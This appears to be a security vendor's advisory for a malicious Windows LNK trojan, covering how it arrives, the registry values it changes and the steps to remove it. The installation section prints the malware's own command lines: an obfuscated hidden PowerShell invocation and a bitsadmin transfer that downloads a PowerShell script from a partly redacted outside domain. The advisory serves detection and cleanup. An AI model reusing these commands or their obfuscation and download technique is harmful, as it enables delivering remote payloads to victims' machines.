Analysis by: Wilbert Luy
ALIASES:

Trojan:PowerShell/BITSAbuse.H!lnk (Microsoft), Trojan.WinLNK.Powecod.gen (Kaspersky)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 3,003 bytes
File Type: LNK
Memory Resident: Yes
Initial Samples Received Date: 08 Oct 2018
Payload: Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • %System%\WindowsPowerShell\v1.0\powershell.exe" -noP -exec Bypass -nonI -c "&{$o4='fedgolsvfindstr'; $m2o='powershell -wi"N "hid"Den -c {'+$o4.SubString($o4.length - 7, 7)+' /s mrekikaso c:\users\*.lnk}'; $re=iex "$m2o"; "$re"|iex}
  • %System%\WindowsPowerShell\v1.0\powershell.exe" -wiN hidDen -encodedCommand {Base64 Encoded Strings} -inputFormat xml -outputFormat xml
  • %System%\findstr.exe" /s mrekikaso c:\users\*.lnk
  • %System%\cmd.exe" /C echo 1 > %Application Data%\1F944D56-602B-D0AB-CAF7-C2FBEEE740D2\d & bitsadmin /wrap /transfer mrekikaso /download /priority FOREGROUND "https://{BLOCKED}nglishcider.com/seng/ishci" %Application Data%\1F944D56-602B-D0AB-CAF7-C2FBEEE740D2\zZYfKHTEvupowt.ps1 & del %Application Data%\1F944D56-602B-D0AB-CAF7-C2FBEEE740D2\d & exit
  • bitsadmin /wrap /transfer mrekikaso /download /priority FOREGROUND "https://{BLOCKED}nglishcider.com/seng/ishci" %Application Data%\1F944D56-602B-D0AB-CAF7-C2FBEEE740D2\zZYfKHTEvupowt.ps1

Other System Modifications

This Trojan modifies the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\BackupRestore\FilesNotToBackup
BITS_LOG = "%System%\Bits.log"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\BackupRestore\FilesNotToBackup
BITS_BAK = "%System%\Bits.bak"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\BITS
StateIndex = "{1 or 0}"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\BITS
Start = "2"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\BITS\Performance
PerfMMFileName = "Global\MMF_BITS_s"

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • https://{BLOCKED}nglishcider.com/seng/ishci:443

Other Details

However, as of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.552.09
FIRST VSAPI PATTERN DATE: 09 Oct 2018
VSAPI OPR PATTERN File: 14.553.00
VSAPI OPR PATTERN Date: 10 Oct 2018

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restore this modified registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance
    • PerfMMFileName = "Global\MMF_BITS_s"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Performance
    • PerfMMFileName = "{Default Value}"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup
    • BITS_LOG = "%System%\Bits.log"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup
    • BITS_LOG = "{Default Value}"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup
    • BITS_BAK = "%System%\Bits.bak"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\BackupRestore\FilesNotToBackup
    • BITS_BAK = "{Default Value}"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS
    • StateIndex = "{1 or 0}"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\BITS
    • StateIndex = "{Default Value}"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS
    • Start = "2"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS
    • Start = "{Default Value}"

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.LNK.POWLOAD.AH. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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